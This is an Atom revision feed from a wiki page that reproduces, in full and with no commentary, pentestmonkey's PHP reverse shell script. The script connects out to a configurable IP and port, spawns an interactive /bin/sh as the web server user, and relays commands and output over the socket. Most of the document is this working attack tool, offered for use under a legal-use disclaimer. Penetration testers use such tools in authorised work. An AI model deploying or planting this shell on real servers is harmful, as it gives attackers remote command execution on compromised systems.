<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=Php_reverse_shell</id>
	<title>Php reverse shell - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=Php_reverse_shell"/>
	<link rel="alternate" type="text/html" href="https://onnocenter.or.id/wiki/index.php?title=Php_reverse_shell&amp;action=history"/>
	<updated>2026-04-15T15:42:21Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.4</generator>
	<entry>
		<id>https://onnocenter.or.id/wiki/index.php?title=Php_reverse_shell&amp;diff=67764&amp;oldid=prev</id>
		<title>Onnowpurbo: Created page with &quot; &lt;?php  // php-reverse-shell - A Reverse Shell implementation in PHP  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net  //  // This tool may be used for legal purposes on...&quot;</title>
		<link rel="alternate" type="text/html" href="https://onnocenter.or.id/wiki/index.php?title=Php_reverse_shell&amp;diff=67764&amp;oldid=prev"/>
		<updated>2023-01-27T01:36:32Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot; &amp;lt;?php  // php-reverse-shell - A Reverse Shell implementation in PHP  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net  //  // This tool may be used for legal purposes on...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt; &amp;lt;?php&lt;br /&gt;
 // php-reverse-shell - A Reverse Shell implementation in PHP&lt;br /&gt;
 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net&lt;br /&gt;
 //&lt;br /&gt;
 // This tool may be used for legal purposes only.  Users take full responsibility&lt;br /&gt;
 // for any actions performed using this tool.  The author accepts no liability&lt;br /&gt;
 // for damage caused by this tool.  If these terms are not acceptable to you, then&lt;br /&gt;
 // do not use this tool.&lt;br /&gt;
 //&lt;br /&gt;
 // In all other respects the GPL version 2 applies:&lt;br /&gt;
 //&lt;br /&gt;
 // This program is free software; you can redistribute it and/or modify&lt;br /&gt;
 // it under the terms of the GNU General Public License version 2 as&lt;br /&gt;
 // published by the Free Software Foundation.&lt;br /&gt;
 //&lt;br /&gt;
 // This program is distributed in the hope that it will be useful,&lt;br /&gt;
 // but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;
 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt;
 // GNU General Public License for more details.&lt;br /&gt;
 //&lt;br /&gt;
 // You should have received a copy of the GNU General Public License along&lt;br /&gt;
 // with this program; if not, write to the Free Software Foundation, Inc.,&lt;br /&gt;
 // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.&lt;br /&gt;
 //&lt;br /&gt;
 // This tool may be used for legal purposes only.  Users take full responsibility&lt;br /&gt;
 // for any actions performed using this tool.  If these terms are not acceptable to&lt;br /&gt;
 // you, then do not use this tool.&lt;br /&gt;
 //&lt;br /&gt;
 // You are encouraged to send comments, improvements or suggestions to&lt;br /&gt;
 // me at pentestmonkey@pentestmonkey.net&lt;br /&gt;
 //&lt;br /&gt;
 // Description&lt;br /&gt;
 // -----------&lt;br /&gt;
 // This script will make an outbound TCP connection to a hardcoded IP and port.&lt;br /&gt;
 // The recipient will be given a shell running as the current user (apache normally).&lt;br /&gt;
 //&lt;br /&gt;
 // Limitations&lt;br /&gt;
 // -----------&lt;br /&gt;
 // proc_open and stream_set_blocking require PHP version 4.3+, or 5+&lt;br /&gt;
 // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.&lt;br /&gt;
 // Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.&lt;br /&gt;
 //&lt;br /&gt;
 // Usage&lt;br /&gt;
 // -----&lt;br /&gt;
 // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.&lt;br /&gt;
 &lt;br /&gt;
 set_time_limit (0);&lt;br /&gt;
 $VERSION = &amp;quot;1.0&amp;quot;;&lt;br /&gt;
 $ip = '127.0.0.1';  // CHANGE THIS&lt;br /&gt;
 $port = 1234;       // CHANGE THIS&lt;br /&gt;
 $chunk_size = 1400;&lt;br /&gt;
 $write_a = null;&lt;br /&gt;
 $error_a = null;&lt;br /&gt;
 $shell = 'uname -a; w; id; /bin/sh -i';&lt;br /&gt;
 $daemon = 0;&lt;br /&gt;
 $debug = 0;&lt;br /&gt;
 &lt;br /&gt;
 //&lt;br /&gt;
 // Daemonise ourself if possible to avoid zombies later&lt;br /&gt;
 //&lt;br /&gt;
 &lt;br /&gt;
 // pcntl_fork is hardly ever available, but will allow us to daemonise&lt;br /&gt;
 // our php process and avoid zombies.  Worth a try...&lt;br /&gt;
 if (function_exists('pcntl_fork')) { &lt;br /&gt;
 	// Fork and have the parent p rocess exit &lt;br /&gt;
 	$pid = pcntl_fork();&lt;br /&gt;
 	&lt;br /&gt;
 	if ($pid == -1) {&lt;br /&gt;
 		printit(&amp;quot;ERROR: Can't fork&amp;quot;);&lt;br /&gt;
 		exit(1);&lt;br /&gt;
 	}&lt;br /&gt;
 	&lt;br /&gt;
 	if ($pid) {&lt;br /&gt;
 		exit(0);  // Parent exits&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	// Make the current process a session leader&lt;br /&gt;
 	// Will only succeed if we forked&lt;br /&gt;
 	if (posix_setsid() == -1) {&lt;br /&gt;
 		printit(&amp;quot;Error: Can't setsid()&amp;quot;);&lt;br /&gt;
 		exit(1);&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	$daemon = 1;&lt;br /&gt;
 } else {&lt;br /&gt;
 	printit(&amp;quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&amp;quot;);&lt;br /&gt;
 } &lt;br /&gt;
 &lt;br /&gt;
 // Change to a safe directory&lt;br /&gt;
 chdir(&amp;quot;/&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
 // Remove any umask we inherited&lt;br /&gt;
 umask(0);&lt;br /&gt;
 &lt;br /&gt;
 //&lt;br /&gt;
 // Do the reverse shell...&lt;br /&gt;
 //&lt;br /&gt;
 &lt;br /&gt;
 // Open reverse connection&lt;br /&gt;
 $sock = fsockopen($ip, $port, $errno, $errstr, 30);&lt;br /&gt;
 if (!$sock) { &lt;br /&gt;
 	printit(&amp;quot;$errstr ($errno)&amp;quot;); &lt;br /&gt;
	exit(1);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 // Spawn shell process&lt;br /&gt;
 $descriptorspec = array(&lt;br /&gt;
    0 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;r&amp;quot;),  // stdin is a pipe that the child will read from&lt;br /&gt;
    1 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;w&amp;quot;),  // stdout is a pipe that the child will write to&lt;br /&gt;
    2 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;w&amp;quot;)   // stderr is a pipe that the child will write to&lt;br /&gt;
 );&lt;br /&gt;
 &lt;br /&gt;
 $process = proc_open($shell, $descriptorspec, $pipes);&lt;br /&gt;
 &lt;br /&gt;
 if (!is_resource($process)) {&lt;br /&gt;
 	printit(&amp;quot;ERROR: Can't spawn shell&amp;quot;); &lt;br /&gt;
 	exit(1);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 // Set everything to non-blocking&lt;br /&gt;
 // Reason: Occsionally reads will block, even though stream_select tells us they won't&lt;br /&gt;
 stream_set_blocking($pipes[0], 0);&lt;br /&gt;
 stream_set_blocking($pipes[1], 0);&lt;br /&gt;
 stream_set_blocking($pipes[2], 0);&lt;br /&gt;
 stream_set_blocking($sock, 0);&lt;br /&gt;
 &lt;br /&gt;
 printit(&amp;quot;Successfully opened reverse shell to $ip:$port&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
 while (1) { &lt;br /&gt;
 	// Check for end of TCP connection&lt;br /&gt;
 	if (feof($sock)) {&lt;br /&gt;
 		printit(&amp;quot;ERROR: Shell connection terminated&amp;quot;);&lt;br /&gt;
 		break;&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	// Check for end of STDOUT&lt;br /&gt;
 	if (feof($pipes[1])) {&lt;br /&gt;
 		printit(&amp;quot;ERROR: Shell process terminated&amp;quot;);&lt;br /&gt;
 		break;&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	// Wait until a command is end down $sock, or some&lt;br /&gt;
 	// command output is available on STDOUT or STDERR&lt;br /&gt;
 	$read_a = array($sock, $pipes[1], $pipes[2]);&lt;br /&gt;
 	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);&lt;br /&gt;
 &lt;br /&gt;
 	// If we can read from the TCP socket, send&lt;br /&gt;
 	// data to process's STDIN&lt;br /&gt;
 	if (in_array($sock, $read_a)) {&lt;br /&gt;
 		if ($debug) printit(&amp;quot;SOCK READ&amp;quot;);&lt;br /&gt;
 		$input = fread($sock, $chunk_size);&lt;br /&gt;
 		if ($debug) printit(&amp;quot;SOCK: $input&amp;quot;);&lt;br /&gt;
 		fwrite($pipes[0], $input);&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	// If we can read from the process's STDOUT&lt;br /&gt;
 	// send data down tcp connection&lt;br /&gt;
 	if (in_array($pipes[1], $read_a)) {&lt;br /&gt;
 		if ($debug) printit(&amp;quot;STDOUT READ&amp;quot;);&lt;br /&gt;
 		$input = fread($pipes[1], $chunk_size);&lt;br /&gt;
 		if ($debug) printit(&amp;quot;STDOUT: $input&amp;quot;);&lt;br /&gt;
 		fwrite($sock, $input);&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	// If we can read from the process's STDERR&lt;br /&gt;
 	// send data down tcp connection&lt;br /&gt;
 	if (in_array($pipes[2], $read_a)) {&lt;br /&gt;
 		if ($debug) printit(&amp;quot;STDERR READ&amp;quot;);&lt;br /&gt;
 		$input = fread($pipes[2], $chunk_size);&lt;br /&gt;
 		if ($debug) printit(&amp;quot;STDERR: $input&amp;quot;);&lt;br /&gt;
 		fwrite($sock, $input);&lt;br /&gt;
 	}&lt;br /&gt;
 } &lt;br /&gt;
 &lt;br /&gt;
 fclose($sock);&lt;br /&gt;
 fclose($pipes[0]);&lt;br /&gt;
 fclose($pipes[1]);&lt;br /&gt;
 fclose($pipes[2]);&lt;br /&gt;
 proc_close($process); &lt;br /&gt;
 &lt;br /&gt;
 // Like print, but does nothing if we've daemonised ourself&lt;br /&gt;
 // (I can't figure out how to redirect STDOUT like a proper daemon)&lt;br /&gt;
 function printit ($string) {&lt;br /&gt;
 	if (!$daemon) {&lt;br /&gt;
 		print &amp;quot;$string\n&amp;quot;; &lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Referensi==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php&lt;/div&gt;</summary>
		<author><name>Onnowpurbo</name></author>
	</entry>
</feed>